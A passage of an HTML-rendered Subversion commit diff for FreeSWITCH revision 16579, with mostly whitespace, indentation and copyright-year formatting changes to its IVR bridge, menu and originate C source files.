</ins><span class="cx">                         switch_channel_set_private(peer_channel, &quot;_bridge_&quot;, b_leg);
</span><span class="cx">                         switch_channel_set_state(peer_channel, CS_EXCHANGE_MEDIA);
</span><span class="cx">                         audio_bridge_thread(NULL, (void *) a_leg);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_clear_flag_recursive(caller_channel, CF_BRIDGE_ORIGINATOR);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_channel_stop_broadcast(peer_channel);
</span><del>-                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         while (switch_channel_get_state(peer_channel) == CS_EXCHANGE_MEDIA) {
</span><span class="cx">                                 switch_cond_next();
</span><span class="cx">                         }
</span><span class="lines">@@ -1192,7 +1192,7 @@
</span><span class="cx">                                         switch_channel_set_flag(peer_channel, CF_BRIDGED);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if ((cause = switch_channel_get_cause(caller_channel))) {
</span><span class="cx">                                 switch_channel_set_variable(peer_channel, SWITCH_BRIDGE_HANGUP_CAUSE_VARIABLE, switch_channel_cause2str(cause));
</span><span class="cx">                         }
</span><span class="lines">@@ -1204,7 +1204,7 @@
</span><span class="cx">                         if (switch_channel_down(peer_channel) &amp;&amp; switch_true(switch_channel_get_variable(peer_channel, SWITCH_COPY_XML_CDR_VARIABLE))) {
</span><span class="cx">                                 switch_xml_t cdr;
</span><span class="cx">                                 char *xml_text;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_channel_wait_for_state(peer_channel, caller_channel, CS_DESTROY);
</span><span class="cx"> 
</span><span class="cx">                                 if (switch_ivr_generate_xml_cdr(peer_session, &amp;cdr) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1242,25 +1242,25 @@
</span><span class="cx">         state = switch_channel_get_state(caller_channel);
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-    if (!switch_channel_test_flag(caller_channel, CF_TRANSFER) &amp;&amp; !switch_channel_test_flag(caller_channel, CF_REDIRECT) &amp;&amp;
-        !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE) &amp;&amp; !a_leg-&gt;clean_exit &amp;&amp; !inner_bridge) {
-        if ((state != CS_EXECUTE &amp;&amp; state != CS_SOFT_EXECUTE &amp;&amp; state != CS_PARK &amp;&amp; state != CS_ROUTING) ||
-            (switch_channel_test_flag(peer_channel, CF_ANSWERED) &amp;&amp; state &lt; CS_HANGUP)) {
-                        
-            if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
-                switch_ivr_park_session(session);
-            } else if ((var = switch_channel_get_variable(caller_channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
-                transfer_after_bridge(session, var);
-            } else if (switch_channel_test_flag(peer_channel, CF_ANSWERED) &amp;&amp;
-                       switch_true(switch_channel_get_variable(caller_channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE))) {
</del><ins>+        if (!switch_channel_test_flag(caller_channel, CF_TRANSFER) &amp;&amp; !switch_channel_test_flag(caller_channel, CF_REDIRECT) &amp;&amp;
+                !switch_channel_test_flag(caller_channel, CF_XFER_ZOMBIE) &amp;&amp; !a_leg-&gt;clean_exit &amp;&amp; !inner_bridge) {
+                if ((state != CS_EXECUTE &amp;&amp; state != CS_SOFT_EXECUTE &amp;&amp; state != CS_PARK &amp;&amp; state != CS_ROUTING) ||
+                        (switch_channel_test_flag(peer_channel, CF_ANSWERED) &amp;&amp; state &lt; CS_HANGUP)) {
+
+                        if (switch_true(switch_channel_get_variable(caller_channel, SWITCH_PARK_AFTER_BRIDGE_VARIABLE))) {
+                                switch_ivr_park_session(session);
+                        } else if ((var = switch_channel_get_variable(caller_channel, SWITCH_TRANSFER_AFTER_BRIDGE_VARIABLE))) {
+                                transfer_after_bridge(session, var);
+                        } else if (switch_channel_test_flag(peer_channel, CF_ANSWERED) &amp;&amp;
+                                           switch_true(switch_channel_get_variable(caller_channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE))) {
</ins><span class="cx">                                 switch_call_cause_t cause = switch_channel_get_cause(peer_channel);
</span><span class="cx">                                 if (cause == SWITCH_CAUSE_NONE) {
</span><span class="cx">                                         cause = SWITCH_CAUSE_NORMAL_CLEARING;
</span><span class="cx">                                 }
</span><del>-                switch_channel_hangup(caller_channel, cause);
-            }
-        }
-    }
</del><ins>+                                switch_channel_hangup(caller_channel, cause);
+                        }
+                }
+        }
</ins><span class="cx"> 
</span><span class="cx">         if (switch_channel_test_flag(caller_channel, CF_REDIRECT)) {
</span><span class="cx">                 if (switch_channel_test_flag(caller_channel, CF_RESET)) {
</span><span class="lines">@@ -1272,7 +1272,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1350,7 +1350,7 @@
</span><span class="cx"> 
</span><span class="cx">                         cleanup_proxy_mode_a(originator_session);
</span><span class="cx">                         cleanup_proxy_mode_a(originatee_session);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /* override transmit state for originator_channel to bridge to originatee_channel 
</span><span class="cx">                          * install pointer to originatee_session into originator_channel
</span><span class="cx">                          * set CF_TRANSFER on both channels and change state to CS_SOFT_EXECUTE to
</span><span class="lines">@@ -1360,8 +1360,8 @@
</span><span class="cx"> 
</span><span class="cx">                         switch_channel_set_flag(originator_channel, CF_REDIRECT);
</span><span class="cx">                         switch_channel_set_flag(originatee_channel, CF_REDIRECT);
</span><del>-                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         switch_channel_set_variable(originator_channel, SWITCH_UUID_BRIDGE, switch_core_session_get_uuid(originatee_session));
</span><span class="cx">                         switch_channel_set_variable(originator_channel, SWITCH_BRIDGE_CHANNEL_VARIABLE, switch_channel_get_name(originatee_channel));
</span><span class="cx">                         switch_channel_set_variable(originator_channel, SWITCH_BRIDGE_UUID_VARIABLE, switch_core_session_get_uuid(originatee_session));
</span><span class="lines">@@ -1370,7 +1370,7 @@
</span><span class="cx">                         switch_channel_set_variable(originatee_channel, SWITCH_BRIDGE_UUID_VARIABLE, switch_core_session_get_uuid(originator_session));
</span><span class="cx">                         switch_channel_set_variable(originatee_channel, SWITCH_SIGNAL_BOND_VARIABLE, switch_core_session_get_uuid(originator_session));
</span><span class="cx"> 
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         originator_cp = switch_channel_get_caller_profile(originator_channel);
</span><span class="cx">                         originatee_cp = switch_channel_get_caller_profile(originatee_channel);
</span><span class="cx"> 
</span><span class="lines">@@ -1412,7 +1412,7 @@
</span><span class="cx">                         switch_channel_set_state(originator_channel, state == CS_HIBERNATE ? CS_CONSUME_MEDIA : CS_HIBERNATE);
</span><span class="cx">                         state = switch_channel_get_state(originatee_channel);
</span><span class="cx">                         switch_channel_set_state(originatee_channel, state == CS_HIBERNATE ? CS_CONSUME_MEDIA : CS_HIBERNATE);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><span class="cx">                         switch_ivr_bridge_display(originator_session, originatee_session);
</span><span class="lines">@@ -1490,9 +1490,9 @@
</span><span class="cx">                 switch_channel_answer(rchannel);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-         switch_channel_set_state_flag(rchannel, CF_TRANSFER);
</del><ins>+        switch_channel_set_state_flag(rchannel, CF_TRANSFER);
</ins><span class="cx">         switch_channel_set_state(rchannel, CS_PARK);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (bchannel) {
</span><span class="cx">                 switch_channel_set_state_flag(bchannel, CF_TRANSFER);
</span><span class="cx">                 switch_channel_set_state(bchannel, CS_PARK);
</span><span class="lines">@@ -1506,8 +1506,8 @@
</span><span class="cx">                 switch_core_session_rwunlock(bsession);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* For Emacs:
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivr_menuc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr_menu.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr_menu.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_menu.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -69,7 +69,7 @@
</span><span class="cx">         struct switch_ivr_menu_action *next;
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-static switch_ivr_menu_t *switch_ivr_menu_find(switch_ivr_menu_t * stack, const char *name)
</del><ins>+static switch_ivr_menu_t *switch_ivr_menu_find(switch_ivr_menu_t *stack, const char *name)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_t *ret;
</span><span class="cx">         for (ret = stack; ret; ret = ret-&gt;next) {
</span><span class="lines">@@ -79,7 +79,7 @@
</span><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void switch_ivr_menu_stack_add(switch_ivr_menu_t ** top, switch_ivr_menu_t * bottom)
</del><ins>+static void switch_ivr_menu_stack_add(switch_ivr_menu_t ** top, switch_ivr_menu_t *bottom)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_t *ptr;
</span><span class="cx"> 
</span><span class="lines">@@ -94,7 +94,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_menu_init(switch_ivr_menu_t ** new_menu,
</span><del>-                                                                                                         switch_ivr_menu_t * main,
</del><ins>+                                                                                                         switch_ivr_menu_t *main,
</ins><span class="cx">                                                                                                          const char *name,
</span><span class="cx">                                                                                                          const char *greeting_sound,
</span><span class="cx">                                                                                                          const char *short_greeting_sound,
</span><span class="lines">@@ -106,10 +106,7 @@
</span><span class="cx">                                                                                                          const char *tts_voice,
</span><span class="cx">                                                                                                          int confirm_attempts,
</span><span class="cx">                                                                                                          int inter_timeout,
</span><del>-                                                                                                         int digit_len,
-                                                                                                         int timeout, int max_failures,
-                                                                                                         int max_timeouts,
-                                                                                                         switch_memory_pool_t *pool)
</del><ins>+                                                                                                         int digit_len, int timeout, int max_failures, int max_timeouts, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_t *menu;
</span><span class="cx">         uint8_t newpool = 0;
</span><span class="lines">@@ -209,13 +206,13 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         menu-&gt;buf = switch_core_alloc(menu-&gt;pool, 1024);
</span><del>-        
</del><ins>+
</ins><span class="cx">         *new_menu = menu;
</span><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t * menu, switch_ivr_action_t ivr_action, const char *arg, const char *bind)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_action(switch_ivr_menu_t *menu, switch_ivr_action_t ivr_action, const char *arg, const char *bind)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_action_t *action;
</span><span class="cx">         uint32_t len;
</span><span class="lines">@@ -240,8 +237,8 @@
</span><span class="cx">         return SWITCH_STATUS_MEMERR;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_function(switch_ivr_menu_t * menu,
-                                                                                                                          switch_ivr_menu_action_function_t * function, const char *arg, const char *bind)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_bind_function(switch_ivr_menu_t *menu,
+                                                                                                                          switch_ivr_menu_action_function_t *function, const char *arg, const char *bind)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_action_t *action;
</span><span class="cx">         uint32_t len;
</span><span class="lines">@@ -283,7 +280,7 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t play_and_collect(switch_core_session_t *session, switch_ivr_menu_t * menu, char *sound, switch_size_t need)
</del><ins>+static switch_status_t play_and_collect(switch_core_session_t *session, switch_ivr_menu_t *menu, char *sound, switch_size_t need)
</ins><span class="cx"> {
</span><span class="cx">         char terminator;
</span><span class="cx">         uint32_t len;
</span><span class="lines">@@ -316,7 +313,7 @@
</span><span class="cx">         args.buflen = len;
</span><span class="cx"> 
</span><span class="cx">         status = switch_ivr_play_file(session, NULL, sound_expanded, &amp;args);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sound_expanded != sound) {
</span><span class="cx">                 switch_safe_free(sound_expanded);
</span><span class="cx">         }
</span><span class="lines">@@ -329,9 +326,9 @@
</span><span class="cx"> 
</span><span class="cx">         menu-&gt;ptr += menu_buf_len;
</span><span class="cx">         if (menu_buf_len &lt; need) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;waiting for %u/%u digits t/o %d\n&quot;, 
-                                                  (uint32_t)(menu-&gt;inlen - strlen(menu-&gt;buf)), (uint32_t)need, menu-&gt;inter_timeout);
-                status = switch_ivr_collect_digits_count(session, menu-&gt;ptr, menu-&gt;inlen - strlen(menu-&gt;buf), 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;waiting for %u/%u digits t/o %d\n&quot;,
+                                                  (uint32_t) (menu-&gt;inlen - strlen(menu-&gt;buf)), (uint32_t) need, menu-&gt;inter_timeout);
+                status = switch_ivr_collect_digits_count(session, menu-&gt;ptr, menu-&gt;inlen - strlen(menu-&gt;buf),
</ins><span class="cx">                                                                                                  need, &quot;#&quot;, &amp;terminator, menu_buf_len ? menu-&gt;inter_timeout : menu-&gt;timeout,
</span><span class="cx">                                                                                                  menu-&gt;inter_timeout, menu-&gt;timeout);
</span><span class="cx">         }
</span><span class="lines">@@ -359,7 +356,7 @@
</span><span class="cx"> 
</span><span class="cx">                         if (menu-&gt;confirm_key &amp;&amp; *buf != '\0') {
</span><span class="cx">                                 if (*menu-&gt;confirm_key == *buf) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                           &quot;approving digits '%s' via confirm key %s\n&quot;, menu-&gt;buf, menu-&gt;confirm_key);
</span><span class="cx">                                         break;
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -370,7 +367,8 @@
</span><span class="cx">                         att--;
</span><span class="cx">                 }
</span><span class="cx">                 if (!att) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;rejecting digits '%s' via confirm key %s\n&quot;, menu-&gt;buf, menu-&gt;confirm_key);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;rejecting digits '%s' via confirm key %s\n&quot;, menu-&gt;buf,
+                                                          menu-&gt;confirm_key);
</ins><span class="cx">                         *menu-&gt;buf = '\0';
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -390,7 +388,7 @@
</span><span class="cx">         switch_ivr_menu_t *menu;
</span><span class="cx">         switch_channel_t *channel;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (++stack-&gt;stack_count &gt; 12) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Too many levels of recursion.\n&quot;);
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_FALSE, end);
</span><span class="lines">@@ -460,7 +458,7 @@
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;tts_engine&quot;, menu-&gt;tts_engine);
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;tts_voice&quot;, menu-&gt;tts_voice);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (ap-&gt;re) {
</span><span class="cx">                                         switch_regex_t *re = NULL;
</span><span class="cx">                                         int ovector[30];
</span><span class="lines">@@ -548,7 +546,7 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        if (switch_test_flag(menu, SWITCH_IVR_MENU_FLAG_STACK)) {                /* top level */
</del><ins>+                        if (switch_test_flag(menu, SWITCH_IVR_MENU_FLAG_STACK)) {        /* top level */
</ins><span class="cx">                                 if (switch_test_flag(stack, SWITCH_IVR_MENU_FLAG_FALLTOMAIN)) {        /* catch the fallback and recover */
</span><span class="cx">                                         switch_clear_flag(stack, SWITCH_IVR_MENU_FLAG_FALLTOMAIN);
</span><span class="cx">                                         status = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -559,7 +557,8 @@
</span><span class="cx">                 }
</span><span class="cx">                 if (!match) {
</span><span class="cx">                         if (*menu-&gt;buf) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;IVR menu '%s' caught invalid input '%s'\n&quot;, menu-&gt;name, menu-&gt;buf);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;IVR menu '%s' caught invalid input '%s'\n&quot;, menu-&gt;name,
+                                                                  menu-&gt;buf);
</ins><span class="cx">                                 if (menu-&gt;invalid_sound) {
</span><span class="cx">                                         play_and_collect(session, menu, menu-&gt;invalid_sound, 0);
</span><span class="cx">                                 }
</span><span class="lines">@@ -584,8 +583,8 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
-        
</del><ins>+  end:
+
</ins><span class="cx">         stack-&gt;stack_count--;
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="lines">@@ -606,7 +605,7 @@
</span><span class="cx">         int autocreated;
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-static switch_ivr_menu_xml_map_t *switch_ivr_menu_stack_xml_find(switch_ivr_menu_xml_ctx_t * xml_ctx, const char *name)
</del><ins>+static switch_ivr_menu_xml_map_t *switch_ivr_menu_stack_xml_find(switch_ivr_menu_xml_ctx_t *xml_ctx, const char *name)
</ins><span class="cx"> {
</span><span class="cx">         switch_ivr_menu_xml_map_t *map = (xml_ctx != NULL ? xml_ctx-&gt;map : NULL);
</span><span class="cx">         int rc = -1;
</span><span class="lines">@@ -618,8 +617,8 @@
</span><span class="cx">         return (rc == 0 ? map : NULL);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t switch_ivr_menu_stack_xml_add(switch_ivr_menu_xml_ctx_t * xml_ctx, const char *name, int action,
-                                                                                                         switch_ivr_menu_action_function_t * function)
</del><ins>+static switch_status_t switch_ivr_menu_stack_xml_add(switch_ivr_menu_xml_ctx_t *xml_ctx, const char *name, int action,
+                                                                                                         switch_ivr_menu_action_function_t *function)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><span class="lines">@@ -656,13 +655,14 @@
</span><span class="cx">         const char *name;
</span><span class="cx">         switch_ivr_action_t action;
</span><span class="cx"> } iam[] = {
</span><del>-        { &quot;menu-exit&quot;, SWITCH_IVR_ACTION_DIE }, 
-        { &quot;menu-sub&quot;, SWITCH_IVR_ACTION_EXECMENU},
-        { &quot;menu-exec-app&quot;, SWITCH_IVR_ACTION_EXECAPP}, 
-        { &quot;menu-play-sound&quot;, SWITCH_IVR_ACTION_PLAYSOUND}, 
-        { &quot;menu-back&quot;, SWITCH_IVR_ACTION_BACK}, 
-        { &quot;menu-top&quot;, SWITCH_IVR_ACTION_TOMAIN}, 
-        { NULL, 0}
</del><ins>+        {
+        &quot;menu-exit&quot;, SWITCH_IVR_ACTION_DIE}, {
+        &quot;menu-sub&quot;, SWITCH_IVR_ACTION_EXECMENU}, {
+        &quot;menu-exec-app&quot;, SWITCH_IVR_ACTION_EXECAPP}, {
+        &quot;menu-play-sound&quot;, SWITCH_IVR_ACTION_PLAYSOUND}, {
+        &quot;menu-back&quot;, SWITCH_IVR_ACTION_BACK}, {
+        &quot;menu-top&quot;, SWITCH_IVR_ACTION_TOMAIN}, {
+        NULL, 0}
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_ivr_menu_str2action(const char *action_name, switch_ivr_action_t *action)
</span><span class="lines">@@ -670,7 +670,7 @@
</span><span class="cx">         int i;
</span><span class="cx"> 
</span><span class="cx">         if (!zstr(action_name)) {
</span><del>-                for(i = 0;;i++) {
</del><ins>+                for (i = 0;; i++) {
</ins><span class="cx">                         if (!iam[i].name) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -690,7 +690,7 @@
</span><span class="cx">         int i;
</span><span class="cx"> 
</span><span class="cx">         if (!zstr(action)) {
</span><del>-                for(i = 0;;i++) {
</del><ins>+                for (i = 0;; i++) {
</ins><span class="cx">                         if (!iam[i].name) {
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="lines">@@ -740,30 +740,30 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_add_custom(switch_ivr_menu_xml_ctx_t * xml_menu_ctx,
-                                                                                                                                         const char *name, switch_ivr_menu_action_function_t * function)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_add_custom(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
+                                                                                                                                         const char *name, switch_ivr_menu_action_function_t *function)
</ins><span class="cx"> {
</span><span class="cx">         return switch_ivr_menu_stack_xml_add(xml_menu_ctx, name, -1, function);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t * xml_menu_ctx,
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_menu_stack_xml_build(switch_ivr_menu_xml_ctx_t *xml_menu_ctx,
</ins><span class="cx">                                                                                                                                 switch_ivr_menu_t ** menu_stack, switch_xml_t xml_menus, switch_xml_t xml_menu)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><span class="cx">         if (xml_menu_ctx != NULL &amp;&amp; menu_stack != NULL &amp;&amp; xml_menu != NULL) {
</span><del>-                const char *menu_name = switch_xml_attr_soft(xml_menu, &quot;name&quot;);                    /* if the attr doesn't exist, return &quot;&quot; */
-                const char *greet_long = switch_xml_attr(xml_menu, &quot;greet-long&quot;);                /* if the attr doesn't exist, return NULL */
-                const char *greet_short = switch_xml_attr(xml_menu, &quot;greet-short&quot;);                /* if the attr doesn't exist, return NULL */
-                const char *invalid_sound = switch_xml_attr(xml_menu, &quot;invalid-sound&quot;);            /* if the attr doesn't exist, return NULL */
-                const char *exit_sound = switch_xml_attr(xml_menu, &quot;exit-sound&quot;);                /* if the attr doesn't exist, return NULL */
-                const char *timeout = switch_xml_attr_soft(xml_menu, &quot;timeout&quot;);                /* if the attr doesn't exist, return &quot;&quot; */
</del><ins>+                const char *menu_name = switch_xml_attr_soft(xml_menu, &quot;name&quot;);        /* if the attr doesn't exist, return &quot;&quot; */
+                const char *greet_long = switch_xml_attr(xml_menu, &quot;greet-long&quot;);        /* if the attr doesn't exist, return NULL */
+                const char *greet_short = switch_xml_attr(xml_menu, &quot;greet-short&quot;);        /* if the attr doesn't exist, return NULL */
+                const char *invalid_sound = switch_xml_attr(xml_menu, &quot;invalid-sound&quot;);        /* if the attr doesn't exist, return NULL */
+                const char *exit_sound = switch_xml_attr(xml_menu, &quot;exit-sound&quot;);        /* if the attr doesn't exist, return NULL */
+                const char *timeout = switch_xml_attr_soft(xml_menu, &quot;timeout&quot;);        /* if the attr doesn't exist, return &quot;&quot; */
</ins><span class="cx">                 const char *max_failures = switch_xml_attr_soft(xml_menu, &quot;max-failures&quot;);        /* if the attr doesn't exist, return &quot;&quot; */
</span><span class="cx">                 const char *max_timeouts = switch_xml_attr_soft(xml_menu, &quot;max-timeouts&quot;);
</span><del>-                const char *confirm_macro= switch_xml_attr(xml_menu, &quot;confirm-macro&quot;);
-                const char *confirm_key= switch_xml_attr(xml_menu, &quot;confirm-key&quot;);
-                const char *tts_engine= switch_xml_attr(xml_menu, &quot;tts-engine&quot;);
-                const char *tts_voice= switch_xml_attr(xml_menu, &quot;tts-voice&quot;);
</del><ins>+                const char *confirm_macro = switch_xml_attr(xml_menu, &quot;confirm-macro&quot;);
+                const char *confirm_key = switch_xml_attr(xml_menu, &quot;confirm-key&quot;);
+                const char *tts_engine = switch_xml_attr(xml_menu, &quot;tts-engine&quot;);
+                const char *tts_voice = switch_xml_attr(xml_menu, &quot;tts-voice&quot;);
</ins><span class="cx">                 const char *confirm_attempts = switch_xml_attr_soft(xml_menu, &quot;confirm-attempts&quot;);
</span><span class="cx">                 const char *digit_len = switch_xml_attr_soft(xml_menu, &quot;digit-len&quot;);
</span><span class="cx">                 const char *inter_timeout = switch_xml_attr_soft(xml_menu, &quot;inter-digit-timeout&quot;);
</span><span class="lines">@@ -782,7 +782,7 @@
</span><span class="cx">                                                                           greet_long,
</span><span class="cx">                                                                           greet_short,
</span><span class="cx">                                                                           invalid_sound,
</span><del>-                                                                          exit_sound, 
</del><ins>+                                                                          exit_sound,
</ins><span class="cx">                                                                           confirm_macro,
</span><span class="cx">                                                                           confirm_key,
</span><span class="cx">                                                                           tts_engine,
</span><span class="lines">@@ -790,14 +790,12 @@
</span><span class="cx">                                                                           atoi(confirm_attempts),
</span><span class="cx">                                                                           atoi(inter_timeout),
</span><span class="cx">                                                                           atoi(digit_len),
</span><del>-                                                                          atoi(timeout), 
-                                                                          strlen(max_failures)? atoi(max_failures): 0, 
-                                                                          strlen(max_timeouts)? atoi(max_timeouts): 0, 
-                                                                          xml_menu_ctx-&gt;pool);                                                                        
</del><ins>+                                                                          atoi(timeout),
+                                                                          strlen(max_failures) ? atoi(max_failures) : 0, strlen(max_timeouts) ? atoi(max_timeouts) : 0, xml_menu_ctx-&gt;pool);
</ins><span class="cx">                 /* set the menu_stack for the caller */
</span><span class="cx">                 if (status == SWITCH_STATUS_SUCCESS &amp;&amp; *menu_stack == NULL) {
</span><span class="cx">                         *menu_stack = menu;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (xml_menu_ctx-&gt;autocreated) {
</span><span class="cx">                                 switch_set_flag(menu, SWITCH_IVR_MENU_FLAG_FREEPOOL);
</span><span class="cx">                         }
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivr_originatec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr_originate.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr_originate.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_originate.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -151,9 +151,9 @@
</span><span class="cx">         } else {
</span><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_ivr_sleep(collect-&gt;session, 0, SWITCH_TRUE, NULL);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strcasecmp(collect-&gt;key, &quot;exec&quot;)) {
</span><span class="cx">                 char *data;
</span><span class="cx">                 char *app_name, *app_data;
</span><span class="lines">@@ -203,7 +203,8 @@
</span><span class="cx">                         args.buflen = sizeof(buf);
</span><span class="cx">                         status = switch_ivr_play_file(collect-&gt;session, NULL, collect-&gt;file, &amp;args);
</span><span class="cx">                         if (!SWITCH_READ_ACCEPTABLE(status)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(collect-&gt;session), SWITCH_LOG_ERROR, &quot;%s Error Playing File!&quot;, switch_channel_get_name(channel));
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(collect-&gt;session), SWITCH_LOG_ERROR, &quot;%s Error Playing File!&quot;,
+                                                                  switch_channel_get_name(channel));
</ins><span class="cx">                                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         }
